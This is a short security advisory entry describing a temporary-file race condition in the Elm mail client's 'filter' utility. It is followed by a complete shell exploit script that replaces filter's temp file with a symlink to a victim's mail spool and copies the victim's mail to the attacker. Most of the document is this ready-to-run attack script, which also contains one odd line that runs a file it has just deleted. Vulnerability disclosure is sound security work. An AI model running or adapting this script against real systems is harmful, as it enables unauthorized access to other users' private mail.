source: https://www.securityfocus.com/bid/1802/info
Elm is a popular Unix mail client. A vulnerability exists in Elm's 'filter' utility which can grant an attacker access to any user's mail spool. By exploiting a race condition which exists in the creation of temporary files, an unauthorized user can delete an open temporary file and replace it with a symbolic link pointing to any other user's mail spool. The mailmessage function will then follow this link, and copy the contents of the victim's mail file to that of the attacker. The obvious result is that the attacker is able to read the victim's mail messages.
#!/bin/sh
# This shell script exploits a problem with filter(1L)
# it will follow symbolic links, on a read allowing
# us to steal a users mail file.
#
# Usage: fread.sh victimsusername
#
# Contents will be stored in ~/victimsusername.mail
#
# Dave M. (davem@cmu.edu <mailto:davem@cmu.edu>)
#
cp /var/spool/mail/$LOGNAME ~
cp /dev/null /var/spool/mail/$LOGNAME
echo 'if (always) forward' $LOGNAME > /tmp/fread-ftr.tmp
cat << _EOF_ >> /tmp/fread-msg.tmp
From: Dave
To: $LOGNAME
Subject: Filter Exploit
_EOF_
echo sleep 2 > /tmp/fread-sh.tmp
echo cat /tmp/fread-msg.tmp >> /tmp/fread-sh.tmp
chmod +x /tmp/fread-sh.tmp
/tmp/fread-sh.tmp|filter -f /tmp/fread-ftr.tmp &
FREAD=`ps|grep 'filter -f'|grep -v grep|awk '{print $1}'`
rm -f /tmp/filter.$FREAD
ln -s /var/spool/mail/$1 /tmp/filter.$FREAD
sleep 2
rm -f /tmp/fread-ftr.tmp /tmp/fread-msg.tmp /tmp/fread-sh.tmp
/tmp/fread-ftr.tmp /tmp/filter.$FREAD
FREAD=
cp /var/spool/mail/$LOGNAME ~/$1.mail
cp ~/$LOGNAME /var/spool/mail
more ~/$1.mail
